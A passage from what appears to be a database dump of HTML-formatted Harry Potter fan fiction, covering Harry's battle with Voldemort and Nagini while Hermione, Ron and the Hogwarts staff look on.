style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She\nremembered the way he&#8217;d held her in his arms, and the soft kiss that he&#8217;d given\nher.&nbsp; Yes, it was him; he was still her Harry.&nbsp; But now, he was just\nfocused on his goal and ending the pain that Voldomort had caused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Man,\nHarry&#8217;s kicking some serious butt out there,&#8221; Ron gasped and shook his head. &#8220;I\ncan&#8217;t believe he actually beat Lucius Malfoy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nlying, Weasley.&#8221; Ron and Hermione turned to see Draco Malfoy behind them. &#8220;No one\ncan beat my father &#8211; least of all Potter!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nreally, why don&#8217;t you see for yourself?&#8221; Ron pointed to the charred figure\nlying face down on the ground a few feet from where Harry was standing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco&#8217;s\nmouth dropped open.&nbsp; He couldn&#8217;t believe it!&nbsp; Just couldn&#8217;t believe\nit!&nbsp; How could Harry Potter beat his father?&nbsp; It wasn&#8217;t conceivable;\nno one had ever beating Lucius Malfoy at anything.&nbsp; And from the looks of\nthings, Potter didn&#8217;t have a scratch on him.&nbsp; What the hell had happened\nout there?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Look&#8230;Professor\nDumbledore, Professor Snape, and Minister Fudge are heading this way,&#8221; Hermione\nstated.&nbsp; The three men arrived about ten seconds later.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor\nMcGonagall, are the students all right?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nAlbus, no one was hurt.&nbsp; Harry prevented that fireball from doing major\ndamage.&nbsp; But how is he doing this?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\njust as thought; his power is approaching its true potential,&#8221; Dumbledore\nstated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\ndo you mean true potential?&#8221; Snape asked with a hint of wonder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nI mean, Severus, is that Harry is just warming up.&nbsp; His true test will\ncome against Voldomort.&nbsp; He&#8217;s far more powerful than Lucius Malfoy, but it\nwill be a difficult fight for him to win.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Wait\na minute, professor, aren&#8217;t you going to help him?&#8221; Ron gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;There\nis nothing that I can do for him, Ron.&nbsp; Harry must do this on his\nown.&nbsp; He has the strength to do it.&nbsp; The only question now is&#8230;can he\nrealize that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nyou can&#8217;t leave out there alone,&#8221; Hermione said with tears in her eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Do\nnot worry, Miss Granger, Harry knows what he&#8217;s doing.&nbsp; He knows what&#8217;s at\nstake, and I believe that he will win this battle.&nbsp; If we believe in him,\nthat is all the help he will need,&#8221; Dumbledore answered with a warm\nsmile.&nbsp; The young woman looked out at the blackened grass field to where her\nlover was facing off with the darkest wizard of all time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;I\ndo believe in you, Harry.&nbsp; I love you, now and always.&nbsp; So be that\njerk once and for all and come to me in one piece.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As\nif reading her thoughts, Harry heard Hermione&#8217;s words inside his head, and his\nheart began to burn brightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;I&#8217;m\ncoming back to you, Herm, I swear it!&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Voldomort!&#8221;\nHarry roared. &#8220;Our time has come.&nbsp; This ends now.&#8221; The Dark Lord snickered\nand drew his wand out of his black robes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nthen&#8230;let&#8217;s begin.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 15, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nand Voldemort stared one another down, each trying to look for hesitation in\ntheir opponent&#8217;s eyes.&nbsp; A cruel smile crossed the dark wizard&#8217;s lips, and\nhe laughed sadistically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ve\ngot to hand it to you, Harry Potter, you have exceeded my expectations.&nbsp; I\nwas just planning to kill you and be done with it, but now&#8230;now, I&#8217;ll be able to\nenjoy it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nat your service, Tom.&#8221; Voldemort&#8217;s eyes turned bloody red.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nyou dare call me that name!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\nnot?&nbsp; It&#8217;s your true name.&nbsp; If you&#8217;re ashamed of it, that&#8217;s your\nproblem!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\ntoo cocky, my boy, it will be your undoing.&#8221; Harry shook his head, and his eyes\ntook on a hint of sadness.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Know\nsomething, in a way, I pity you, Voldemort.&#8221; That got a rise out of the Dark\nLord.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nwhat?&nbsp; Pity me?&nbsp; What kind of nonsense are you speaking?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nfeel sorry that your father abandoned you; I feel sorry that he treated you so\nbadly; and I feel sorry that he rejected you as his son.&nbsp; No child should\nbe subjected to that,&#8221; Harry answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\naren&#8217;t you the amateur psychiatrist?&nbsp; Is that supposed to make me feel all\nwarm inside?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nI&#8217;m just saying that I sympathize with what happened you.&nbsp; That&#8217;s why I\ndon&#8217;t hate you &#8211; even though you killed my parents.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nthe hell are you doing?&#8221; Voldemort growled, sounding quite flustered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\ntrying to tell you that even if I have to kill you, I won&#8217;t hate you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\npathetic, Potter, I&#8217;d expected more from you.&nbsp; Yet here you are with your\nwords of sympathy.&nbsp; Give me a break.&nbsp; You&#8217;re kindness is what makes\nyou weak.&nbsp; Your parents were weak, and they paid the price for it.&nbsp; I\nespecially liked how loud your mother screamed; it was a rarity indeed.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nyou dare talk about her!&#8221; Harry said angrily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Temper&#8230;temper&#8230;what\nhappened to not hating me?&nbsp; You&#8217;re a hypocrite, Potter, all humans\nare.&nbsp; They act kind and compassionate to one another, but what they really\ncare about is themselves?&nbsp; All humankind is greedy and selfish; it&#8217;s in\nour nature to be that way.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\nsad that you believe that, Voldemort, but I guess that&#8217;s all you know.&nbsp; I,\non the other hand, believe that humanity is generous and kind.&nbsp; Only when\nwe let ourselves be influenced by evil, do we become evil.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nand where does evil come from, Harry Potter?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All\nof us have negative feelings or emotions, but that&#8217;s why we have friends and\nloved ones to help us through the dark times.&nbsp; You, however, have pushed\neveryone away and made them believe that you are all-powerful and cannot be\nstopped.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;How\ntrue, boy, I am untouchable.&nbsp; You should know that by now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We\nshall see about that.&nbsp; I see now that Tom Riddle is dead, and all that\nremains is Lord Voldemort.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;For\nonce, Harry, we agree on something.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Perhaps,\nbut it just reminds me that I&#8217;m not killing a human being; I&#8217;m killing a\nmonster.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Not\nif I kill you first!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Take\nyour best shot, but remember what happened last time we fought.&nbsp; Our wands\nwon&#8217;t work on one another.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;True,\nbut I don&#8217;t need a wand to kill you.&#8221; Voldemort raised his hand and directed it\nat the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Terranes\nExploda!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\njust barely rolled out of the way before the ground beneath him exploded\nupwards.&nbsp; Voldemort recast the spell, and Harry jumped back and forth\ndodging the attacks as they came.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nquite agile, Harry Potter, but you can&#8217;t runaway forever.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A\nsmile came across the dark wizard&#8217;s face.&nbsp; The boy was playing right into\nhis hands.&nbsp; He continued pelting Harry with the exploding spells and\nwaited for the young man to come back towards him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My\nturn, Voldemort&#8230;Wingardium Leviosa!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh,\nhow threatening,&#8221; he laughed as Harry levitated him off the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Cyclonus!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Voldemort\nsuddenly understood, but it was too late.&nbsp; The tornado hit him full on,\nand he was thrown onto his back.&nbsp; By lifting him off the ground, Harry had\nachieved maximum contact with his spell.&nbsp; But that was not the end of the\nfight by a long shot.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Clever,\nHarry Potter, very clever,&#8221; Voldemort laughed as he picked himself up, &#8220;but now\nthis fight is mine.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey!&#8221;\nBefore Harry could move, a giant snake wrapped around him.&nbsp; He tried to\nbreak free, but the snake only tightened its grip on him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ha&#8230;ha&#8230;ha&#8230;well\ndone, Nagini, he looks tasty doesn&#8217;t he.&#8221; The giant snake thrust out its tongue\nand hissed at its victim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nmay be clever, Harry, but you&#8217;re also ignorant.&nbsp; My attacks were merely a\ndistraction so that Nagini could capture you, and it worked to perfection.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nsuddenly felt very cold, and he felt like his blood was turning to ice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nare you cold?&nbsp; Nagini&#8217;s skin is quite special.&nbsp; She can freeze any\nobject in a shell of ice.&nbsp; That way, if she only eats half of her catch,\nit won&#8217;t spoil before she can finish it,&#8221; Voldemort laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor\nDumbledore, we have to help him!&#8221; Hermione nearly shouted.&nbsp; When she saw\nthat massive snake wrap around Harry, her heart had nearly stopped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;She&#8217;s\nright, we can&#8217;t leave Harry out there helpless like that!&#8221; Ron said angrily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;They\nmay be right, Albus, the boy cannot fight alone,&#8221; Professor Lupin stated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Damn\nVoldemort, he just had to bring his pet snake!&#8221; Moody growled, and his magical\neye twitched.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Snake&#8230;snake&#8230;that&#8217;s\nit!&#8221; Hermione gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s\nit?&#8221; Ron asked confused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry\ncan talk to snakes.&nbsp; Remember back in second year, he talked to the big\nsnake that was going to eat Seamus and Neville.&nbsp; Why can&#8217;t he talk to this\none and tell it to let him go?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nquite an idea, Hermione,&#8221; Sirius stated, &#8220;and it just might work.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We\nneed to tell him!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hold\nit, young lady!&#8221; McGonagall grabbed her arm, &#8220;You&#8217;re not going anywhere.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Let\ngo of me, Harry needs me!&#8221; Hermione ripped her arm out of her teacher&#8217;s grasp\nand ran towards her lover.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Come\nback Hermione!&#8221; Ron shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Damn\nthat girl!&#8221; Dumbledore followed after her with Lupin and Sirius hot on his\nheels.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Meanwhile,\nHarry felt like he&#8217;d been sitting in a freezer for the last ten hours.&nbsp;\nHis robes had icicles hanging off them, and his sweat had caused frost to form\non his skin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Soon,\nHarry Potter, you&#8217;ll be nothing but a big icecube,&#8221; Voldemort laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Errrrr&#8230;I\nwon&#8217;t be beaten by a cheater like you,&#8221; Harry spat at him, and his breath came\nout as a puff of smoke.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\na familiar voice called as she ran up.&nbsp; The young man forced his neck to\nturn and saw Hermione running towards him with Dumbledore, Sirius, and Lupin\njust behind her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione&#8230;no&#8230;stay\nback!&#8221; But she didn&#8217;t listen to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\ntalk to it&#8230;tell it to let you go.&nbsp; You can talk to snakes&#8230;remember?&#8221;\nHermione screamed out of breath.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;Of\ncourse, I forgot!&nbsp; I can speak Parseltongue!&#8217; Harry said to himself.&nbsp;\nGazing down at the big snake, he looked it right in the eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Release\nme at once.&#8221; His voice came out as a series of hisses, and the snake seemed\nrather confused.&nbsp; It loosened its grip and stopped freezing him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nNagini!&#8221; Voldemort shouted, &#8220;Do not listen to him, he is trying to trick\nyou.&nbsp; Kill him now!&#8221; The snake quickly followed his orders.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ahhhhh!!!&#8221;\nHarry shouted as the 